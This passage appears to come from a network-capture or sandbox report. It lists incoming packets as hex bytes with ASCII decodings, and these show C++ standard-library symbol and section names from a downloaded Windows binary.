5f 4e 5f 31 39 6e 75 6d 5f 70 75 74 5f 77 45 00 5f 5f 5a 4e 31 32 5f 47 4c 4f Data Ascii: GLOBAL__N_110time_put_cE__ZN12_GLOBAL__N_110messages_cE__ZN12_GLOBAL__N_17ctype_wE__ZN12_GLOBAL__N_19codecvt_wE__ZN12_GLOBAL__N_110numpunct_wE__ZN12_GLOBAL__N_116numpunct_cache_wE__ZN12_GLOBAL__N_19num_get_wE__ZN12_GLOBAL__N_19num_put_wE__ZN12_GLO
2022-07-20 08:32:59 UTC	2774	IN	Data Raw: 5f 00 5f 5f 5a 4e 53 74 36 6c 6f 63 61 6c 65 36 67 6c 6f 62 61 6c 45 52 4b 53 5f 2e 63 6f 6c 64 2e 31 34 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 36 67 65 74 5f 6c 6f 63 61 6c 65 5f 6d 75 74 65 78 45 76 00 2e 74 65 78 74 24 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 36 67 65 74 5f 6c 6f 63 61 6c 65 5f 6d 75 74 65 78 45 76 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 53 74 36 6c 6f 63 61 6c 65 35 5f 49 6d 70 6c 43 32 45 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 36 6c 6f 63 61 6c 65 35 5f 49 6d 70 6c 43 32 45 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 36 6c 6f 63 61 6c 65 31 38 5f 53 5f 69 6e 69 74 69 61 6c 69 7a 65 5f 6f 6e 63 65 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 36 6c 6f Data Ascii: ___ZNSt6locale6globalERKS_.cold.14.text.unlikely._ZN12_GLOBAL__N_116get_locale_mutexEv.text$_ZN12_GLOBAL__N_116get_locale_mutexEv.text.unlikely._ZNSt6locale5_ImplC2Ej.text$_ZNSt6locale5_ImplC2Ej.text$_ZNSt6locale18_S_initialize_onceEv.text$_ZNSt6lo
2022-07-20 08:32:59 UTC	2790	IN	Data Raw: 31 39 5f 5f 63 6f 64 65 63 76 74 5f 75 74 66 38 5f 62 61 73 65 49 44 73 45 39 64 6f 5f 6c 65 6e 67 74 68 45 52 69 50 4b 63 53 33 5f 6a 00 5f 5f 5a 4e 4b 53 74 31 39 5f 5f 63 6f 64 65 63 76 74 5f 75 74 66 38 5f 62 61 73 65 49 77 45 39 64 6f 5f 6c 65 6e 67 74 68 45 52 69 50 4b 63 53 33 5f 6a 00 5f 5f 5a 4e 53 74 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 30 75 74 66 31 36 5f 73 70 61 6e 45 50 4b 63 53 31 5f 6a 44 69 53 74 31 32 63 6f 64 65 63 76 74 5f 6d 6f 64 65 00 5f 5f 5a 4e 4b 53 74 37 63 6f 64 65 63 76 74 49 44 73 63 69 45 39 64 6f 5f 6c 65 6e 67 74 68 45 52 69 50 4b 63 53 33 5f 6a 00 5f 5f 5a 4e 4b 53 74 32 35 5f 5f 63 6f 64 65 63 76 74 5f 75 74 66 38 5f 75 74 66 31 36 5f 62 61 73 65 49 44 73 45 39 64 6f 5f 6c 65 6e 67 74 68 45 52 69 50 4b 63 53 33 Data Ascii: 19__codecvt_utf8_baseIDsE9do_lengthERiPKcS3_j__ZNKSt19__codecvt_utf8_baseIwE9do_lengthERiPKcS3_j__ZNSt12_GLOBAL__N_110utf16_spanEPKcS1_jDiSt12codecvt_mode__ZNKSt7codecvtIDsciE9do_lengthERiPKcS3_j__ZNKSt25__codecvt_utf8_utf16_baseIDsE9do_lengthERiPKcS3
2022-07-20 08:32:59 UTC	2791	IN	Data Raw: 6f 75 74 45 52 69 50 4b 77 53 33 5f 52 53 33 5f 50 63 53 35 5f 52 53 35 5f 00 5f 5f 5a 4e 4b 53 74 37 63 6f 64 65 63 76 74 49 44 69 63 69 45 39 64 6f 5f 6c 65 6e 67 74 68 45 52 69 50 4b 63 53 33 5f 6a 00 5f 5f 5a 4e 4b 53 74 37 63 6f 64 65 63 76 74 49 44 69 63 69 45 36 64 6f 5f 6f 75 74 45 52 69 50 4b 44 69 53 33 5f 52 53 33 5f 50 63 53 35 5f 52 53 35 5f 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 31 32 63 6f 64 65 63 76 74 5f 62 61 73 65 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 31 32 63 6f 64 65 63 76 74 5f 62 61 73 65 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 32 33 5f 5f 63 6f 64 65 63 76 74 5f 61 62 73 74 72 61 63 74 5f 62 61 73 65 49 77 63 69 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 32 33 5f 5f 63 6f 64 65 63 76 74 5f 61 62 73 74 72 61 63 74 5f 62 Data Ascii: outERiPKwS3_RS3_PcS5_RS5___ZNKSt7codecvtIDiciE9do_lengthERiPKcS3_j__ZNKSt7codecvtIDiciE6do_outERiPKDiS3_RS3_PcS5_RS5_.rdata$_ZTSSt12codecvt_base.rdata$_ZTISt12codecvt_base.rdata$_ZTSSt23__codecvt_abstract_baseIwciE.rdata$_ZTISt23__codecvt_abstract_b
2022-07-20 08:32:59 UTC	2807	IN	Data Raw: 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 35 6d 6f 6e 65 79 70 75 6e 63 74 5f 73 68 69 6d 49 77 4c 62 30 45 45 44 30 45 76 00 5f 5f 5a 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 32 63 6f 6c 6c 61 74 65 5f 73 68 69 6d 49 77 45 44 30 45 76 00 5f 5f 5a 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 32 63 6f 6c 6c 61 74 65 5f 73 68 69 6d 49 63 45 44 30 45 76 00 5f 5f 5a 4e 4b 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 34 6d 6f 6e 65 79 5f 67 65 74 5f 73 68 69 6d 49 63 45 36 64 6f 5f 67 65 74 45 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 Data Ascii: NSt13__facet_shims12_GLOBAL__N_115moneypunct_shimIwLb0EED0Ev__ZNSt13__facet_shims12_GLOBAL__N_112collate_shimIwED0Ev__ZNSt13__facet_shims12_GLOBAL__N_112collate_shimIcED0Ev__ZNKSt13__facet_shims12_GLOBAL__N_114money_get_shimIcE6do_getESt19istreambuf_it
2022-07-20 08:32:59 UTC	2808	IN	Data Raw: 5f 73 68 69 6d 73 32 31 5f 5f 6e 75 6d 70 75 6e 63 74 5f 66 69 6c 6c 5f 63 61 63 68 65 49 63 45 45 76 53 74 31 37 69 6e 74 65 67 72 61 6c 5f 63 6f 6e 73 74 61 6e 74 49 62 4c 62 30 45 45 50 4b 4e 53 74 36 6c 6f 63 61 6c 65 35 66 61 63 65 74 45 50 53 74 31 36 5f 5f 6e 75 6d 70 75 6e 63 74 5f 63 61 63 68 65 49 54 5f 45 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 32 31 5f 5f 6e 75 6d 70 75 6e 63 74 5f 66 69 6c 6c 5f 63 61 63 68 65 49 77 45 45 76 53 74 31 37 69 6e 74 65 67 72 61 6c 5f 63 6f 6e 73 74 61 6e 74 49 62 4c 62 30 45 45 50 4b 4e 53 74 36 6c 6f 63 61 6c 65 35 66 61 63 65 74 45 50 53 74 31 36 5f 5f 6e 75 6d 70 75 6e 63 74 5f 63 61 63 68 65 49 54 5f 45 00 5f 5f 5a 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 Data Ascii: _shims21__numpunct_fill_cacheIcEEvSt17integral_constantIbLb0EEPKNSt6locale5facetEPSt16__numpunct_cacheIT_E.text$_ZNSt13__facet_shims21__numpunct_fill_cacheIwEEvSt17integral_constantIbLb0EEPKNSt6locale5facetEPSt16__numpunct_cacheIT_E__ZNSt13__facet_shims
2022-07-20 08:32:59 UTC	2824	IN	Data Raw: 5f 31 31 32 63 6f 6c 6c 61 74 65 5f 73 68 69 6d 49 77 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 32 63 6f 6c 6c 61 74 65 5f 73 68 69 6d 49 77 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 35 6d 6f 6e 65 79 70 75 6e 63 74 5f 73 68 69 6d 49 77 4c 62 31 45 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 35 6d 6f 6e 65 79 70 75 6e 63 74 5f 73 68 69 6d 49 77 4c 62 31 45 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c Data Ascii: _112collate_shimIwEE.rdata$_ZTSNSt13__facet_shims12_GLOBAL__N_112collate_shimIwEE.rdata$_ZTINSt13__facet_shims12_GLOBAL__N_115moneypunct_shimIwLb1EEE.rdata$_ZTSNSt13__facet_shims12_GLOBAL__N_115moneypunct_shimIwLb1EEE.rdata$_ZTINSt13__facet_shims12_GL
2022-07-20 08:32:59 UTC	2825	IN	Data Raw: 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 33 6e 75 6d 70 75 6e 63 74 5f 73 68 69 6d 49 63 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 56 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 32 63 6f 6c 6c 61 74 65 5f 73 68 69 6d 49 63 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 56 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 35 6d 6f 6e 65 79 70 75 6e 63 74 5f 73 68 69 6d 49 63 4c 62 31 45 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 56 4e 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 35 6d 6f 6e 65 79 70 75 6e 63 74 5f 73 68 69 6d 49 63 4c 62 30 45 45 45 00 2e 72 64 61 74 61 24 5f 5a 54 56 4e 53 74 31 33 5f 5f 66 61 63 65 74 Data Ascii: _GLOBAL__N_113numpunct_shimIcEE.rdata$_ZTVNSt13__facet_shims12_GLOBAL__N_112collate_shimIcEE.rdata$_ZTVNSt13__facet_shims12_GLOBAL__N_115moneypunct_shimIcLb1EEE.rdata$_ZTVNSt13__facet_shims12_GLOBAL__N_115moneypunct_shimIcLb0EEE.rdata$_ZTVNSt13__facet
2022-07-20 08:32:59 UTC	2841	IN	Data Raw: 53 73 31 35 5f 4d 5f 63 68 65 63 6b 5f 6c 65 6e 67 74 68 45 6a 6a 50 4b 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 38 5f 4d 5f 6c 69 6d 69 74 45 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 31 31 5f 4d 5f 64 69 73 6a 75 6e 63 74 45 50 4b 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 73 37 5f 4d 5f 63 6f 70 79 45 50 63 50 4b 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 73 37 5f 4d 5f 6d 6f 76 65 45 50 63 50 4b 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 73 39 5f 4d 5f 61 73 73 69 67 6e 45 50 63 6a 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 73 31 33 5f 53 5f 63 6f 70 79 5f 63 68 61 72 73 45 50 63 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 53 5f 53 73 45 45 53 32 5f Data Ascii: Ss15_M_check_lengthEjjPKc.eh_frame$_ZNKSs8_M_limitEjj.eh_frame$_ZNKSs11_M_disjunctEPKc.eh_frame$_ZNSs7_M_copyEPcPKcj.eh_frame$_ZNSs7_M_moveEPcPKcj.eh_frame$_ZNSs9_M_assignEPcjc.eh_frame$_ZNSs13_S_copy_charsEPcN9__gnu_cxx17__normal_iteratorIS_SsEES2_
2022-07-20 08:32:59 UTC	2842	IN	Data Raw: 36 61 73 73 69 67 6e 45 4f 53 73 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 35 63 5f 73 74 72 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 34 64 61 74 61 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 31 33 67 65 74 5f 61 6c 6c 6f 63 61 74 6f 72 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 34 66 69 6e 64 45 50 4b 63 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 34 66 69 6e 64 45 52 4b 53 73 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 34 66 69 6e 64 45 50 4b 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 34 66 69 6e 64 45 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 35 72 66 69 6e 64 45 50 4b 63 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 73 35 72 66 69 6e 64 45 Data Ascii: 6assignEOSs.eh_frame$_ZNKSs5c_strEv.eh_frame$_ZNKSs4dataEv.eh_frame$_ZNKSs13get_allocatorEv.eh_frame$_ZNKSs4findEPKcjj.eh_frame$_ZNKSs4findERKSsj.eh_frame$_ZNKSs4findEPKcj.eh_frame$_ZNKSs4findEcj.eh_frame$_ZNKSs5rfindEPKcjj.eh_frame$_ZNKSs5rfindE
2022-07-20 08:32:59 UTC	2858	IN	Data Raw: 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 6a 6a 77 00 2e 74 65 78 74 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 32 5f 45 45 77 00 5f 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 32 5f 45 45 77 00 2e 74 65 78 74 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 37 72 65 70 6c 61 63 65 45 6a 6a 6a Data Ascii: NSbIwSt11char_traitsIwESaIwEE6insertEjjw.text$_ZNSbIwSt11char_traitsIwESaIwEE6insertEN9__gnu_cxx17__normal_iteratorIPwS2_EEw__ZNSbIwSt11char_traitsIwESaIwEE6insertEN9__gnu_cxx17__normal_iteratorIPwS2_EEw.text$_ZNSbIwSt11char_traitsIwESaIwEE7replaceEjjj
2022-07-20 08:32:59 UTC	2859	IN	Data Raw: 67 6e 45 52 4b 53 32 5f 6a 6a 00 5f 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 52 4b 53 32 5f 6a 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 50 4b 77 00 5f 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 50 4b 77 00 2e 74 65 78 74 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 50 4b 77 00 5f 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 50 4b 77 00 2e 74 65 78 74 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 Data Ascii: gnERKS2_jj__ZNSbIwSt11char_traitsIwESaIwEE6assignERKS2_jj.text$_ZNSbIwSt11char_traitsIwESaIwEE6assignEPKw__ZNSbIwSt11char_traitsIwESaIwEE6assignEPKw.text$_ZNSbIwSt11char_traitsIwESaIwEEaSEPKw__ZNSbIwSt11char_traitsIwESaIwEEaSEPKw.text$_ZNSbIwSt11cha
2022-07-20 08:32:59 UTC	2875	IN	Data Raw: 4b 77 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 53 74 31 36 69 6e 69 74 69 61 6c 69 7a 65 72 5f 6c 69 73 74 49 77 45 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 52 4b 53 32 5f 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 50 4b 77 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 50 4b 77 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 Data Ascii: Kwj.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEEaSESt16initializer_listIwE.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEE6assignERKS2_jj.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEE6assignEPKw.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEEaSEPKw.eh_frame$_ZNSbIwSt11char
2022-07-20 08:32:59 UTC	2876	IN	Data Raw: 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 43 32 45 52 4b 53 31 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 43 31 45 52 4b 53 31 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 43 32 45 4f 53 32 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 43 31 45 4f 53 32 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 62 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 34 5f 52 65 70 31 30 5f 4d 5f 64 69 73 70 6f 73 65 45 52 4b Data Ascii: frame$_ZNSbIwSt11char_traitsIwESaIwEEC2ERKS1_.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEEC1ERKS1_.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEEC2EOS2_.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEEC1EOS2_.eh_frame$_ZNSbIwSt11char_traitsIwESaIwEE4_Rep10_M_disposeERK
2022-07-20 08:32:59 UTC	2892	IN	Data Raw: 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 30 70 6f 73 5f 66 6f 72 6d 61 74 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 30 70 6f 73 5f 66 6f 72 6d 61 74 45 76 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 30 6e 65 67 5f 66 6f 72 6d 61 74 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 30 6e 65 67 5f 66 6f 72 6d 61 74 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 43 32 45 6a 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 Data Ascii: _ZNKSt7__cxx1110moneypunctIcLb0EE10pos_formatEv__ZNKSt7__cxx1110moneypunctIcLb0EE10pos_formatEv.text$_ZNKSt7__cxx1110moneypunctIcLb0EE10neg_formatEv__ZNKSt7__cxx1110moneypunctIcLb0EE10neg_formatEv.text$_ZNSt7__cxx1110moneypunctIcLb1EEC2Ej__ZNSt7__cxx
2022-07-20 08:32:59 UTC	2893	IN	Data Raw: 61 6e 64 73 5f 73 65 70 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 33 74 68 6f 75 73 61 6e 64 73 5f 73 65 70 45 76 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 38 67 72 6f 75 70 69 6e 67 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 38 67 72 6f 75 70 69 6e 67 45 76 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 31 63 75 72 72 5f 73 79 6d 62 6f 6c 45 76 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 31 63 75 72 72 Data Ascii: ands_sepEv__ZNKSt7__cxx1110moneypunctIcLb1EE13thousands_sepEv.text$_ZNKSt7__cxx1110moneypunctIcLb1EE8groupingEv__ZNKSt7__cxx1110moneypunctIcLb1EE8groupingEv.text$_ZNKSt7__cxx1110moneypunctIcLb1EE11curr_symbolEv__ZNKSt7__cxx1110moneypunctIcLb1EE11curr
2022-07-20 08:32:59 UTC	2909	IN	Data Raw: 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 64 61 74 61 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 Data Ascii: etINSt7__cxx119money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale__ZSt9use_facetINSt7__cxx119money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale.data$_ZNSt7__cxx119money_getIcSt19istreambuf_iteratorIcSt11char
2022-07-20 08:32:59 UTC	2910	IN	Data Raw: 65 78 74 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 38 6e 75 6d 70 75 6e 63 74 49 63 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 38 6e 75 6d 70 75 6e 63 74 49 63 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 74 65 78 74 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 74 65 78 74 24 5f 5a 53 74 39 68 61 73 5f 66 61 Data Ascii: ext$_ZSt9has_facetINSt7__cxx118numpunctIcEEEbRKSt6locale__ZSt9has_facetINSt7__cxx118numpunctIcEEEbRKSt6locale.text$_ZSt9has_facetINSt7__cxx1110moneypunctIcLb0EEEEbRKSt6locale__ZSt9has_facetINSt7__cxx1110moneypunctIcLb0EEEEbRKSt6locale.text$_ZSt9has_fa
2022-07-20 08:32:59 UTC	2926	IN	Data Raw: 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 43 31 45 52 4b 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 32 5f 53 61 49 63 45 45 45 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 43 32 45 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 43 31 45 6a 00 2e 65 68 5f 66 72 61 6d Data Ascii: mbuf_iteratorIcSt11char_traitsIcEEEC1ERKNSt7__cxx1112basic_stringIcS2_SaIcEEEj.eh_frame$_ZNSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC2Ej.eh_frame$_ZNSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC1Ej.eh_fram
